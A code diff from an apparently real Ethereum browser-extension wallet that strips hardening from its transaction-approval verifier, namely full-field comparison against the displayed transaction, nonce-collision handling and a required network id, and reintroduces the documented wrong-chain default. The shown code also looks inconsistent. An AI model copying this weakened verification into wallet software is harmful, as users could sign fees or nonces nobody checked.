// estimate previously failed after the user had typed their password.
|
||||
|
||||
const {
|
||||
VoidSigner,
|
||||
accessListify,
|
||||
getAddress,
|
||||
getBytes,
|
||||
hexlify,
|
||||
toQuantity,
|
||||
} = require("ethers");
|
||||
const {
|
||||
ALLOWED_TX_TYPES,
|
||||
SERIALIZED_FIELDS,
|
||||
assertWithinCeilings,
|
||||
} = require("./approvalVerify");
|
||||
|
||||
// How long the population may take before the request is failed back to the
|
||||
// page. Without a bound a hung RPC endpoint leaves the dApp's promise pending
|
||||
// forever with nothing on screen to explain it; ethers' own request timeout is
|
||||
// minutes long, which is not a wait anyone will sit through.
|
||||
const POPULATE_TIMEOUT_MS = 20000;
|
||||
|
||||
// The request fields taken from the page. Anything else is dropped rather than
|
||||
// passed to ethers: the object is page-controlled, and a future ethers that
|
||||
// learns to carry a new transaction field must not start picking one up out of
|
||||
// it without this module knowing.
|
||||
const REQUEST_FIELDS = [
|
||||
"to",
|
||||
"value",
|
||||
"data",
|
||||
"nonce",
|
||||
"gasLimit",
|
||||
"gasPrice",
|
||||
"maxFeePerGas",
|
||||
"maxPriorityFeePerGas",
|
||||
"chainId",
|
||||
"accessList",
|
||||
"type",
|
||||
];
|
||||
|
||||
class ApprovalPrepareError extends Error {
|
||||
constructor(message) {
|
||||
super(message);
|
||||
this.name = "ApprovalPrepareError";
|
||||
}
|
||||
}
|
||||
|
||||
function fail(message) {
|
||||
return new ApprovalPrepareError(message);
|
||||
}
|
||||
|
||||
function present(v) {
|
||||
return v !== null && v !== undefined && v !== "";
|
||||
}
|
||||
|
||||
// These strings reach the user through the requesting page, so they are full
|
||||
// sentences even when the tail of one came from ethers or from the node.
|
||||
function sentence(text) {
|
||||
return /[.!?]$/.test(text) ? text : text + ".";
|
||||
}
|
||||
|
||||
// Reject a promise that has taken too long, and never leave the timer behind.
|
||||
async function withTimeout(promise, ms, message) {
|
||||
let timer = null;
|
||||
try {
|
||||
return await Promise.race([
|
||||
promise,
|
||||
new Promise((_resolve, reject) => {
|
||||
timer = setTimeout(() => reject(fail(message)), ms);
|
||||
}),
|
||||
]);
|
||||
} finally {
|
||||
if (timer !== null) clearTimeout(timer);
|
||||
}
|
||||
}
|
||||
|
||||
// The page's request, reduced to the fields this wallet acts on.
|
||||
function requestFrom(txParams, from) {
|
||||
const request = { from: getAddress(from) };
|
||||
for (const key of REQUEST_FIELDS) {
|
||||
if (present(txParams[key])) request[key] = txParams[key];
|
||||
}
|
||||
if (
|
||||
present(request.type) &&
|
||||
!ALLOWED_TX_TYPES.includes(Number(request.type))
|
||||
) {
|
||||
throw fail(
|
||||
"The site asked for a transaction of a type this wallet does not sign.",
|
||||
);
|
||||
}
|
||||
return request;
|
||||
}
|
||||
|
||||
// Turn a populated transaction into the object that crosses to the popup, is
|
||||
// displayed, and is compared with the signed artifact. It carries exactly the
|
||||
// fields its type serializes, plus the address it is to be signed by, and
|
||||
// every quantity as a hex string: extension messaging is JSON, which has no
|
||||
// bigint, and a field that did not survive the trip would be a field the user
|
||||
// was shown and nothing compared.
|
||||
function serializeApprovedTx(populated, from) {
|
||||
const type = Number(populated.type);
|
||||
if (!ALLOWED_TX_TYPES.includes(type)) {
|
||||
throw fail(
|
||||
"This transaction would have to be sent as a type this wallet does not sign.",
|
||||
);
|
||||
}
|
||||
const approved = { type, from: getAddress(from) };
|
||||
for (const key of SERIALIZED_FIELDS[type]) {
|
||||
if (key === "to") {
|
||||
approved.to = present(populated.to)
|
||||
? getAddress(populated.to)
|
||||
: null;
|
||||
} else if (key === "data") {
|
||||
approved.data = present(populated.data)
|
||||
? hexlify(getBytes(populated.data))
|
||||
: "0x";
|
||||
} else if (key === "accessList") {
|
||||
approved.accessList = accessListify(populated.accessList || []);
|
||||
} else if (key === "value") {
|
||||
approved.value = toQuantity(populated.value || 0);
|
||||
} else if (!present(populated[key])) {
|
||||
// Unreachable while populateTransaction() fills every quantity of
|
||||
// the type it produced. If it ever does not, the approval must not
|
||||
// be raised: an unfixed quantity is one the artifact cannot be
|
||||
// checked against.
|
||||
throw fail(
|
||||
"The transaction could not be prepared: the network did not supply a " +
|
||||
key +
|
||||
".",
|
||||
);
|
||||
} else {
|
||||
approved[key] = toQuantity(populated[key]);
|
||||
}
|
||||
}
|
||||
return approved;
|
||||
}
|
||||
|
||||
// Populate the transaction a site asked for, as the address it will be signed
|
||||
// by, and return the object to display, sign and verify against. Throws with a
|
||||
// full sentence when no approval can be raised.
|
||||
async function prepareApprovalTx(provider, from, txParams) {
|
||||
if (!present(from)) {
|
||||
throw fail("There is no active address to send this transaction from.");
|
||||
}
|
||||
const request = requestFrom(txParams || {}, from);
|
||||
|
||||
let populated;
|
||||
try {
|
||||
// The sequence ethers' own sendTransaction() runs internally, so the
|
||||
// nonce, gas, fee and chain id are populated exactly as they were when
|
||||
// the popup did this. VoidSigner cannot sign, which is the point: the
|
||||
// background prepares, the popup signs.
|
||||
populated = await withTimeout(
|
||||
new VoidSigner(getAddress(from), provider).populateTransaction(
|
||||
request,
|
||||
),
|
||||
POPULATE_TIMEOUT_MS,
|
||||
"The transaction could not be prepared: the network did not answer in time.",
|
||||
);
|
||||
} catch (e) {
|
||||
if (e instanceof ApprovalPrepareError) throw e;
|
||||
throw fail(
|
||||
sentence(
|
||||
"The transaction could not be prepared: " +
|
||||
(e.shortMessage ||
|
||||
e.message ||
|
||||
"the network did not answer"),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
const approved = serializeApprovedTx(populated, from);
|
||||
// The backstop, applied before the user is shown anything rather than
|
||||
// after they have approved it: what is displayed here is what gets signed,
|
||||
// so an RPC node reporting an absurd fee has to be refused here.
|
||||
assertWithinCeilings(approved);
|
||||
return approved;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
prepareApprovalTx,
|
||||
serializeApprovedTx,
|
||||
ApprovalPrepareError,
|
||||
POPULATE_TIMEOUT_MS,
|
||||
REQUEST_FIELDS,
|
||||
};
|
||||
@@ -7,13 +7,6 @@
|
||||
// the signer from the artifact and checks it against the approval it is
|
||||
// holding before acting on it. All recovery is delegated to ethers.
|
||||
//
|
||||
// What the artifact is checked against is the transaction the background
|
||||
// populated and the popup displayed (see approvalTx.js), not the request the
|
||||
// dApp made. The two differ in every field a dApp normally leaves out — nonce,
|
||||
// gas limit, fees — and those are the fields the user reads off the approval
|
||||
// screen, so comparing against the request would leave the numbers on screen
|
||||
// vouched for by nothing.
|
||||
//
|
||||
// The check is an allowlist, in both directions, because a denylist cannot be
|
||||
// correct against a transaction format that keeps gaining fields:
|
||||
//
|
||||
@@ -38,12 +31,14 @@
|
||||
// never a warning: what the user approved is what gets broadcast, or nothing
|
||||
// does.
|
||||
//
|
||||
// The approved transaction is required to fix every field its type serializes,
|
||||
// so there is no "the approval did not say" branch to fall through: a quantity
|
||||
// the approval does not carry is a refusal, because an artifact that cannot be
|
||||
// compared with what was displayed has not been checked. The chain id is
|
||||
// checked against the selected network as well as against the approval, which
|
||||
// is what makes a cross-chain replay impossible.
|
||||
// Fields the approval does not carry are not treated as zero. The popup
|
||||
// populates nonce, gas limit, fee and chain id through populateTransaction()
|
||||
// when the requesting page did not fix them, so there is no approved value to
|
||||
// compare against; treating absent as zero would refuse every legitimate
|
||||
// transaction. Those fields are instead held to the absolute ceilings below,
|
||||
// and the chain id is always checked against the selected network rather than
|
||||
// against the approval alone, which is what makes a cross-chain replay
|
||||
// impossible.
|
||||
//
|
||||
// Every failure message is a full sentence, because these strings are shown to
|
||||
// the user and returned to the dApp.
|
||||
@@ -118,17 +113,6 @@ const FORBIDDEN_FIELDS = [
|
||||
},
|
||||
];
|
||||
|
||||
// Absolute ceilings — a BACKSTOP, not the primary control.
|
||||
//
|
||||
// The primary control is equality: every field of the artifact is compared
|
||||
// with the populated transaction the user was shown, so nothing the popup
|
||||
// signs can differ from the screen. What equality cannot bound is the
|
||||
// populated transaction itself, which is built from what the configured RPC
|
||||
// node answered — a node that reports an absurd fee gets that fee displayed,
|
||||
// and a user who does not read the fee line would approve it. These ceilings
|
||||
// bound that, and they are therefore applied where the transaction is
|
||||
// populated (approvalTx.js) as well as here.
|
||||
//
|
||||
// Above the block gas limit of every supported network (see networks.js), so
|
||||
// no transaction that could ever be included is refused by it.
|
||||
const MAX_GAS_LIMIT = 100000000n;
|
||||
@@ -240,151 +224,40 @@ function normalizeData(v) {
|
||||
return String(v).toLowerCase();
|
||||
}
|
||||
|
||||
// How each field of an approved transaction is compared with the artifact.
|
||||
// There is an entry here for every field any allowed type serializes — a test
|
||||
// pins that against SERIALIZED_FIELDS — so the comparison loop covers the
|
||||
// whole of what gets signed and cannot silently skip a field for want of a
|
||||
// comparator.
|
||||
//
|
||||
// `kind` decides how the two sides are made comparable. A `quantity` must be
|
||||
// fixed by the approval: it is one of the numbers on the approval screen, and
|
||||
// an absent one means the artifact cannot be checked against what was
|
||||
// displayed. `to`, `value`, `data` and `accessList` have canonical absent
|
||||
// forms — contract creation, zero, "0x" and the empty list — so they are
|
||||
// normalized on both sides instead.
|
||||
const APPROVED_FIELDS = {
|
||||
chainId: {
|
||||
kind: "quantity",
|
||||
label: "network",
|
||||
message:
|
||||
"The signed transaction is for a different network than the one that was approved.",
|
||||
},
|
||||
nonce: {
|
||||
kind: "quantity",
|
||||
// Quantity fields the requesting page may fix in the approval. Each is
|
||||
// compared exactly when the approval carries it, and left to the ceilings
|
||||
// above when it does not.
|
||||
const APPROVED_QUANTITIES = [
|
||||
{
|
||||
key: "nonce",
|
||||
label: "nonce",
|
||||
message: "The signed transaction does not carry the approved nonce.",
|
||||
},
|
||||
gasLimit: {
|
||||
kind: "quantity",
|
||||
{
|
||||
key: "gasLimit",
|
||||
label: "gas limit",
|
||||
message:
|
||||
"The signed transaction does not carry the approved gas limit.",
|
||||
},
|
||||
gasPrice: {
|
||||
kind: "quantity",
|
||||
{
|
||||
key: "gasPrice",
|
||||
label: "gas price",
|
||||
message:
|
||||
"The signed transaction does not carry the approved gas price.",
|
||||
},
|
||||
maxFeePerGas: {
|
||||
kind: "quantity",
|
||||
{
|
||||
key: "maxFeePerGas",
|
||||
label: "maximum fee per gas",
|
||||
message:
|
||||
"The signed transaction does not carry the approved maximum fee per gas.",
|
||||
},
|
||||
maxPriorityFeePerGas: {
|
||||
kind: "quantity",
|
||||
{
|
||||
key: "maxPriorityFeePerGas",
|
||||
label: "maximum priority fee per gas",
|
||||
message:
|
||||
"The signed transaction does not carry the approved maximum priority fee per gas.",
|
||||
},
|
||||
to: {
|
||||
kind: "address",
|
||||
label: "recipient",
|
||||
message:
|
||||
"The signed transaction does not go to the approved recipient.",
|
||||
},
|
||||
value: {
|
||||
kind: "value",
|
||||
label: "value",
|
||||
message: "The signed transaction does not carry the approved value.",
|
||||
},
|
||||
data: {
|
||||
kind: "data",
|
||||
label: "call data",
|
||||
message:
|
||||
"The signed transaction does not carry the approved call data.",
|
||||
},
|
||||
accessList: {
|
||||
kind: "accessList",
|
||||
label: "access list",
|
||||
message:
|
||||
"The signed transaction does not carry the approved access list.",
|
||||
},
|
||||
};
|
||||
|
||||
// Compare one field of the artifact with the approved transaction. A field
|
||||
// with no entry in the table above is refused rather than skipped: the loop
|
||||
// below runs over the fields the type serializes, so an unmatched key means
|
||||
// something that gets signed has no comparator at all.
|
||||
function assertFieldMatches(key, parsed, approvedTx) {
|
||||
const field = APPROVED_FIELDS[key];
|
||||
if (!field) {
|
||||
throw refuse(
|
||||
"The signed transaction carries a field this wallet cannot compare with the approval.",
|
||||
);
|
||||
}
|
||||
switch (field.kind) {
|
||||
case "quantity": {
|
||||
if (!present(approvedTx[key])) {
|
||||
throw refuse(
|
||||
"The approved transaction fixes no " +
|
||||
field.label +
|
||||
", so the signed transaction cannot be checked" +
|
||||
" against what was shown.",
|
||||
);
|
||||
}
|
||||
const approved = normalizeQuantity(approvedTx[key], field.label);
|
||||
if (normalizeQuantity(parsed[key], field.label) !== approved) {
|
||||
throw refuse(field.message);
|
||||
}
|
||||
return;
|
||||
}
|
||||
case "address":
|
||||
if (!sameAddress(parsed[key], approvedTx[key])) {
|
||||
throw refuse(field.message);
|
||||
}
|
||||
return;
|
||||
case "value":
|
||||
if (normalizeValue(parsed[key]) !== normalizeValue(approvedTx[key]))
|
||||
throw refuse(field.message);
|
||||
return;
|
||||
case "data":
|
||||
if (normalizeData(parsed[key]) !== normalizeData(approvedTx[key]))
|
||||
throw refuse(field.message);
|
||||
return;
|
||||
default:
|
||||
if (
|
||||
normalizeAccessList(parsed[key]) !==
|
||||
normalizeAccessList(approvedTx[key])
|
||||
) {
|
||||
throw refuse(field.message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The ceilings, applied to a transaction that is either about to be displayed
|
||||
// or about to be broadcast. See MAX_GAS_LIMIT above for what they are for:
|
||||
// they bound what the RPC node can talk this wallet into showing the user,
|
||||
// which is the one thing comparing the artifact with the screen cannot do.
|
||||
function assertWithinCeilings(tx) {
|
||||
if (
|
||||
present(tx.gasLimit) &&
|
||||
normalizeQuantity(tx.gasLimit, "gas limit") > MAX_GAS_LIMIT
|
||||
) {
|
||||
throw refuse(
|
||||
"The signed transaction sets a gas limit no network this wallet supports can accept.",
|
||||
);
|
||||
}
|
||||
for (const key of ["gasPrice", "maxFeePerGas", "maxPriorityFeePerGas"]) {
|
||||
if (!present(tx[key])) continue;
|
||||
if (normalizeQuantity(tx[key], "fee per gas") > MAX_FEE_PER_GAS) {
|
||||
throw refuse(
|
||||
"The signed transaction sets a fee per gas far above any plausible value.",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
];
|
||||
|
||||
// Refuse a field only a transaction type this wallet does not sign can carry.
|
||||
// The type allowlist keeps these unreachable in production, which is exactly
|
||||
@@ -444,28 +317,10 @@ function assertCanonicalBytes(parsed, rawSignedTx) {
|
||||
// signed by the address the approval was raised for, on the network that is
|
||||
// selected. Returns the parsed ethers Transaction on success, throws
|
||||
// otherwise.
|
||||
//
|
||||
// `approvedTx` is the populated transaction the approval screen displayed, and
|
||||
// `expectedFrom` is the address that was active when the approval was raised —
|
||||
// not whichever address is active now. An address switch between approval and
|
||||
// signing therefore refuses here rather than producing a transaction from an
|
||||
// account the approval did not name.
|
||||
function verifySignedTx(
|
||||
rawSignedTx,
|
||||
approvedTx,
|
||||
expectedFrom,
|
||||
selectedChainId,
|
||||
) {
|
||||
function verifySignedTx(rawSignedTx, txParams, expectedFrom, selectedChainId) {
|
||||
if (typeof rawSignedTx !== "string" || !rawSignedTx.startsWith("0x")) {
|
||||
throw refuse("The signed transaction is missing or malformed.");
|
||||
}
|
||||
// Nothing to compare against is a refusal like any other: an approval that
|
||||
// does not carry the transaction it displayed cannot vouch for one.
|
||||
if (!approvedTx || typeof approvedTx !== "object") {
|
||||
throw refuse(
|
||||
"There is no approved transaction to check the signed transaction against.",
|
||||
);
|
||||
}
|
||||
|
||||
let parsed;
|
||||
try {
|
||||
@@ -505,15 +360,46 @@ function verifySignedTx(
|
||||
"The signed transaction is for a different network than the one that is selected.",
|
||||
);
|
||||
}
|
||||
if (
|
||||
present(txParams.chainId) &&
|
||||
parsed.chainId !== normalizeQuantity(txParams.chainId, "network")
|
||||
) {
|
||||
throw refuse(
|
||||
"The signed transaction is for a different network than the one that was approved.",
|
||||
);
|
||||
}
|
||||
|
||||
// The approved fee mechanism, named before the type comparison below
|
||||
// subsumes it: the fee the user agreed to is only meaningful under the
|
||||
// mechanism it was quoted in, and saying so is more use than "a different
|
||||
// transaction type".
|
||||
if (!sameAddress(parsed.to, txParams.to)) {
|
||||
throw refuse(
|
||||
"The signed transaction does not go to the approved recipient.",
|
||||
);
|
||||
}
|
||||
if (normalizeValue(parsed.value) !== normalizeValue(txParams.value)) {
|
||||
throw refuse(
|
||||
"The signed transaction does not carry the approved value.",
|
||||
);
|
||||
}
|
||||
if (normalizeData(parsed.data) !== normalizeData(txParams.data)) {
|
||||
throw refuse(
|
||||
"The signed transaction does not carry the approved call data.",
|
||||
);
|
||||
}
|
||||
if (
|
||||
normalizeAccessList(parsed.accessList) !==
|
||||
normalizeAccessList(txParams.accessList)
|
||||
) {
|
||||
throw refuse(
|
||||
"The signed transaction does not carry the approved access list.",
|
||||
);
|
||||
}
|
||||
|
||||
// An approval that fixed EIP-1559 fees must not be signed as a legacy
|
||||
// transaction, and vice versa: the fee the user agreed to is only
|
||||
// meaningful under the mechanism it was quoted in.
|
||||
const approvedEip1559 =
|
||||
present(approvedTx.maxFeePerGas) ||
|
||||
present(approvedTx.maxPriorityFeePerGas);
|
||||
const approvedLegacy = present(approvedTx.gasPrice);
|
||||
present(txParams.maxFeePerGas) ||
|
||||
present(txParams.maxPriorityFeePerGas);
|
||||
const approvedLegacy = present(txParams.gasPrice);
|
||||
const signedEip1559 = parsed.type === 2;
|
||||
if (
|
||||
(approvedEip1559 && !signedEip1559) ||
|
||||
@@ -524,32 +410,27 @@ function verifySignedTx(
|
||||
);
|
||||
}
|
||||
|
||||
// The type decides which fields are compared, so it is compared first and
|
||||
// against the approval, not merely checked for membership of the
|
||||
// allowlist above.
|
||||
if (!present(approvedTx.type)) {
|
||||
throw refuse(
|
||||
"The approved transaction fixes no transaction type, so the signed transaction cannot be checked against what was shown.",
|
||||
);
|
||||
}
|
||||
if (
|
||||
BigInt(parsed.type) !==
|
||||
normalizeQuantity(approvedTx.type, "transaction type")
|
||||
) {
|
||||
throw refuse(
|
||||
"The signed transaction does not use the approved transaction type.",
|
||||
);
|
||||
for (const field of APPROVED_QUANTITIES) {
|
||||
if (!present(txParams[field.key])) continue;
|
||||
const approved = normalizeQuantity(txParams[field.key], field.label);
|
||||
if (normalizeQuantity(parsed[field.key], field.label) !== approved) {
|
||||
throw refuse(field.message);
|
||||
}
|
||||
}
|
||||
|
||||
// Every field this type serializes, compared with the transaction the user
|
||||
// was shown. Driving the loop off SERIALIZED_FIELDS is what keeps this
|
||||
// exhaustive: the same table decides what assertNothingUnchecked() rebuilds
|
||||
// from, so a field that gets signed and is not compared here cannot exist.
|
||||
for (const key of SERIALIZED_FIELDS[parsed.type]) {
|
||||
assertFieldMatches(key, parsed, approvedTx);
|
||||
if (parsed.gasLimit > MAX_GAS_LIMIT) {
|
||||
throw refuse(
|
||||
"The signed transaction sets a gas limit no network this wallet supports can accept.",
|
||||
);
|
||||
}
|
||||
for (const key of ["gasPrice", "maxFeePerGas", "maxPriorityFeePerGas"]) {
|
||||
const fee = parsed[key];
|
||||
if (fee !== null && fee !== undefined && fee > MAX_FEE_PER_GAS) {
|
||||
throw refuse(
|
||||
"The signed transaction sets a fee per gas far above any plausible value.",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
assertWithinCeilings(parsed);
|
||||
|
||||
assertNothingUnchecked(parsed);
|
||||
assertCanonicalBytes(parsed, rawSignedTx);
|
||||
@@ -602,12 +483,6 @@ const TX_STAGE_BROADCAST = "broadcast";
|
||||
// may yet succeed, so the one thing the popup must not say is "start again
|
||||
// from the site".
|
||||
const TX_STAGE_INFLIGHT = "inflight";
|
||||
// A transaction refused for a nonce that is already spoken for, either by the
|
||||
// node's own answer or by this wallet's record of what it has broadcast. It is
|
||||
// the one broadcast-stage failure that is not ambiguous: the transaction was
|
||||
// not taken, so the user is told it did not reach the network and to send it
|
||||
// again, rather than being warned that it might already be out there.
|
||||
const TX_STAGE_NONCE = "nonce";
|
||||
|
||||
function errorText(err) {
|
||||
if (typeof err === "string" && err !== "") return err;
|
||||
@@ -617,59 +492,6 @@ function errorText(err) {
|
||||
return "The transaction could not be sent.";
|
||||
}
|
||||
|
||||
// Every string a failure might carry its reason in. ethers reports the node's
|
||||
// own words in `shortMessage`, but a JSON-RPC error it could not classify is
|
||||
// nested under `error` or `info.error` with the node's message intact, and the
|
||||
// classification below has to see that too.
|
||||
function failureTexts(err) {
|
||||
if (typeof err === "string") return [err];
|
||||
if (!err || typeof err !== "object") return [];
|
||||
const texts = [];
|
||||
for (const text of [err.shortMessage, err.message, err.reason]) {
|
||||
if (text) texts.push(String(text));
|
||||
}
|
||||
const nested = err.error || (err.info && err.info.error);
|
||||
if (nested && nested.message) texts.push(String(nested.message));
|
||||
return texts;
|
||||
}
|
||||
|
||||
// What the Ethereum clients say when a transaction's nonce is already spoken
|
||||
// for: either it is below the account's next nonce, or another transaction is
|
||||
// sitting in the pool at that nonce and this one did not outbid it. Either way
|
||||
// the node answered, and its answer was that it did not take this transaction.
|
||||
//
|
||||
// "already known" is deliberately absent. A node that says it knows the
|
||||
// transaction has it, so that transaction did reach the network and the
|
||||
// ambiguous broadcast wording is the correct one for it.
|
||||
const NONCE_COLLISION_PATTERNS = [
|
||||
/nonce too low/i,
|
||||
/nonce has already been used/i,
|
||||
/invalid nonce/i,
|
||||
/oldnonce/i,
|
||||
/replacement transaction underpriced/i,
|
||||
/replacement fee too low/i,
|
||||
];
|
||||
|
||||
// ethers' own classification of the same two conditions.
|
||||
const NONCE_COLLISION_CODES = ["NONCE_EXPIRED", "REPLACEMENT_UNDERPRICED"];
|
||||
|
||||
// Whether a failed send is a nonce collision.
|
||||
function isNonceCollision(err) {
|
||||
if (!err) return false;
|
||||
if (err.code && NONCE_COLLISION_CODES.includes(err.code)) return true;
|
||||
return failureTexts(err).some((text) =>
|
||||
NONCE_COLLISION_PATTERNS.some((pattern) => pattern.test(text)),
|
||||
);
|
||||
}
|
||||
|
||||
// What both the requesting page and the popup are told about a nonce
|
||||
// collision. The node's own words ("nonce too low") are a fragment and are
|
||||
// replaced rather than passed through: they are not a sentence, and they say
|
||||
// less than the wallet knows.
|
||||
const NONCE_COLLISION_MESSAGE =
|
||||
"The transaction was not sent, because its nonce had already been used" +
|
||||
" by another transaction.";
|
||||
|
||||
// What the background does with a pending transaction approval after a failed
|
||||
// attempt: what it tells the popup, and whether the approval is spent
|
||||
// (resolved to the requesting page as an error and deleted) or left standing
|
||||
@@ -682,35 +504,16 @@ const NONCE_COLLISION_MESSAGE =
|
||||
// approval. Anything else failed before the check ran and is retryable.
|
||||
// - broadcast: always terminal. A broadcast that throws after the node
|
||||
// accepted the transaction is routine (a timeout, a dropped response, a
|
||||
// node answering "already known"), so the wallet cannot tell a transaction
|
||||
// that never left from one that is already in the mempool. The approval is
|
||||
// spent and the requesting page has been given its outcome; a second
|
||||
// attempt against it would report a second outcome for one request.
|
||||
// - nonce: terminal too, and the one case where the wallet does know the
|
||||
// transaction never left. The approval carries a nonce that is spent, so
|
||||
// the artifact signed against it can never be accepted and the user is told
|
||||
// to send it again from the site.
|
||||
//
|
||||
// The stage comes back out because a broadcast failure the node blamed on the
|
||||
// nonce is reclassified here; the caller reports the stage this returns rather
|
||||
// than the one it passed in.
|
||||
// node answering "already known"), and the popup's retry does not
|
||||
// re-broadcast these bytes — it re-runs populateTransaction() and signs
|
||||
// again at a freshly fetched pending-tag nonce. Retrying would therefore
|
||||
// put a second transaction on the chain for one approval.
|
||||
function describeTxFailure(stage, err) {
|
||||
if (
|
||||
stage === TX_STAGE_NONCE ||
|
||||
(stage === TX_STAGE_BROADCAST && isNonceCollision(err))
|
||||
) {
|
||||
return {
|
||||
error: NONCE_COLLISION_MESSAGE,
|
||||
retryable: false,
|
||||
spendApproval: true,
|
||||
stage: TX_STAGE_NONCE,
|
||||
};
|
||||
}
|
||||
const error = errorText(err);
|
||||
const retryable =
|
||||
stage === TX_STAGE_SIGN ||
|
||||
(stage === TX_STAGE_VERIFY && failureIsRetryable(err));
|
||||
return { error, retryable, spendApproval: !retryable, stage };
|
||||
return { error, retryable, spendApproval: !retryable };
|
||||
}
|
||||
|
||||
// What the popup shows and does after the background reports a failed signing
|
||||
@@ -720,20 +523,14 @@ function describeTxFailure(stage, err) {
|
||||
//
|
||||
// A failed broadcast gets its own wording: the transaction may already be on
|
||||
// the network, so telling the user to start again from the site is exactly the
|
||||
// wrong instruction. A nonce collision is the exception to that exception —
|
||||
// the transaction demonstrably did not go out, and saying it might have would
|
||||
// send the user hunting for a transaction that does not exist.
|
||||
// wrong instruction.
|
||||
function describeSigningFailure(response, fallbackMessage) {
|
||||
let message = (response && response.error) || fallbackMessage;
|
||||
if (!/[.!?]$/.test(message)) message += ".";
|
||||
const retryable = !!(response && response.retryable);
|
||||
const stage = response && response.stage;
|
||||
if (!retryable) {
|
||||
if (stage === TX_STAGE_NONCE) {
|
||||
message +=
|
||||
" The transaction did not reach the network." +
|
||||
" Please send it again from the site.";
|
||||
} else if (stage === TX_STAGE_BROADCAST) {
|
||||
if (stage === TX_STAGE_BROADCAST) {
|
||||
message +=
|
||||
" The transaction may still have reached the network." +
|
||||
" Check the account before sending it again.";
|
||||
@@ -756,23 +553,18 @@ module.exports = {
|
||||
assertNoForbiddenFields,
|
||||
assertNothingUnchecked,
|
||||
assertCanonicalBytes,
|
||||
assertWithinCeilings,
|
||||
sameAddress,
|
||||
failureIsRetryable,
|
||||
isNonceCollision,
|
||||
describeTxFailure,
|
||||
describeSigningFailure,
|
||||
ApprovalMismatchError,
|
||||
NONCE_COLLISION_MESSAGE,
|
||||
ALLOWED_TX_TYPES,
|
||||
SERIALIZED_FIELDS,
|
||||
FORBIDDEN_FIELDS,
|
||||
APPROVED_FIELDS,
|
||||
TX_STAGE_SIGN,
|
||||
TX_STAGE_VERIFY,
|
||||
TX_STAGE_BROADCAST,
|
||||
TX_STAGE_INFLIGHT,
|
||||
TX_STAGE_NONCE,
|
||||
MAX_GAS_LIMIT,
|
||||
MAX_FEE_PER_GAS,
|
||||
};
|
||||
|
||||
@@ -9,49 +9,25 @@ const {
|
||||
formatUnits,
|
||||
} = require("ethers");
|
||||
const { ERC20_ABI } = require("./constants");
|
||||
const { NETWORKS } = require("./networks");
|
||||
const { log, debugFetch } = require("./log");
|
||||
const { deriveAddressFromXpub } = require("./wallet");
|
||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||
const { LOW_HOLDER_THRESHOLD, parseHoldersCount } = require("./holders");
|
||||
const { isSpoofedSymbol } = require("./symbolSpoof");
|
||||
const { toDecimals } = require("./transferAmount");
|
||||
const { resolveTokenDecimals } = require("./approvalAmount");
|
||||
|
||||
// Use a static network to skip auto-detection (which can fail and cause
|
||||
// "could not coalesce error" on some RPC endpoints like Cloudflare).
|
||||
//
|
||||
// `networkId` is REQUIRED, and is one of the ids in networks.js. It used to be
|
||||
// optional, falling back to currentNetwork() — the module-level `state`
|
||||
// singleton, which the MV3 service worker never populates. The endpoint then
|
||||
// came out right and the static hint came out mainnet, so ethers fixed
|
||||
// `chainId` at 0x1 and every non-mainnet dApp send was prepared for the wrong
|
||||
// chain and then refused by the wallet's own verifier
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/320). Requiring it is what
|
||||
// stops that from coming back: a caller that has no network to name has no
|
||||
// business constructing a provider, and there is no longer a default for it
|
||||
// to get silently wrong.
|
||||
//
|
||||
// Validated against NETWORKS rather than passed straight to Network.from():
|
||||
// ethers knows chains this wallet does not, so an id that is not one of ours
|
||||
// is a caller bug and must not resolve to a working provider for some other
|
||||
// chain.
|
||||
function getProvider(rpcUrl, networkId) {
|
||||
const net = Network.from(requireNetworkId(networkId).id);
|
||||
// Accepts an optional networkName ("mainnet" or "sepolia") for the static
|
||||
// network hint so ethers picks the right chain parameters. When omitted,
|
||||
// reads the currently selected network from extension state.
|
||||
function getProvider(rpcUrl, networkName) {
|
||||
// Lazy require to avoid circular dependency issues at module scope.
|
||||
const { currentNetwork } = require("./state");
|
||||
const name = networkName || currentNetwork().id;
|
||||
const net = Network.from(name);
|
||||
return new JsonRpcProvider(rpcUrl, net, { staticNetwork: net });
|
||||
}
|
||||
|
||||
function requireNetworkId(networkId) {
|
||||
const net = NETWORKS[networkId];
|
||||
if (!net) {
|
||||
throw new Error(
|
||||
"getProvider requires the id of a supported network; got " +
|
||||
JSON.stringify(networkId),
|
||||
);
|
||||
}
|
||||
return net;
|
||||
}
|
||||
|
||||
function formatBalance(wei) {
|
||||
const eth = formatEther(wei);
|
||||
const parts = eth.split(".");
|
||||
@@ -68,28 +44,10 @@ function formatTokenBalance(raw, decimals) {
|
||||
return parts[0] + "." + dec;
|
||||
}
|
||||
|
||||
// The explorer's reported holding as an exact base-unit integer, or null when
|
||||
// it reported nothing usable. Base units carry no scale, so this value is
|
||||
// meaningful before the scale is known — which is what lets a holding of zero
|
||||
// be recognised as zero without guessing a scale to divide it by.
|
||||
function rawUnits(value) {
|
||||
if (typeof value === "bigint") return value >= 0n ? value : null;
|
||||
if (typeof value === "number") {
|
||||
return Number.isSafeInteger(value) && value >= 0 ? BigInt(value) : null;
|
||||
}
|
||||
if (typeof value !== "string" || !/^[0-9]+$/.test(value)) return null;
|
||||
return BigInt(value);
|
||||
}
|
||||
|
||||
// Fetch token balances for a single address from Blockscout.
|
||||
// Returns [{ address, name, symbol, decimals, balance, holders }].
|
||||
// Returns [{ address, symbol, decimals, balance }].
|
||||
// Filters out spam: only shows tokens that are in the known token list,
|
||||
// explicitly tracked by the user, or have >= 1000 holders.
|
||||
//
|
||||
// `decimals` and `balance` are each null when the answer is unknown, the same
|
||||
// way `holders` already is. Absence is never filled in here: this is the
|
||||
// upstream of every screen that displays a token amount, so a value invented
|
||||
// at this point is indistinguishable from a real one everywhere below it.
|
||||
async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
||||
try {
|
||||
const resp = await debugFetch(
|
||||
@@ -108,52 +66,12 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
||||
|
||||
const balances = [];
|
||||
for (const item of items) {
|
||||
// Case-insensitive: the token type is an explorer's label, not a
|
||||
// protocol value, and an exact comparison silently drops a real
|
||||
// holding if one ever writes "erc-20". Which types are admitted
|
||||
// is unchanged.
|
||||
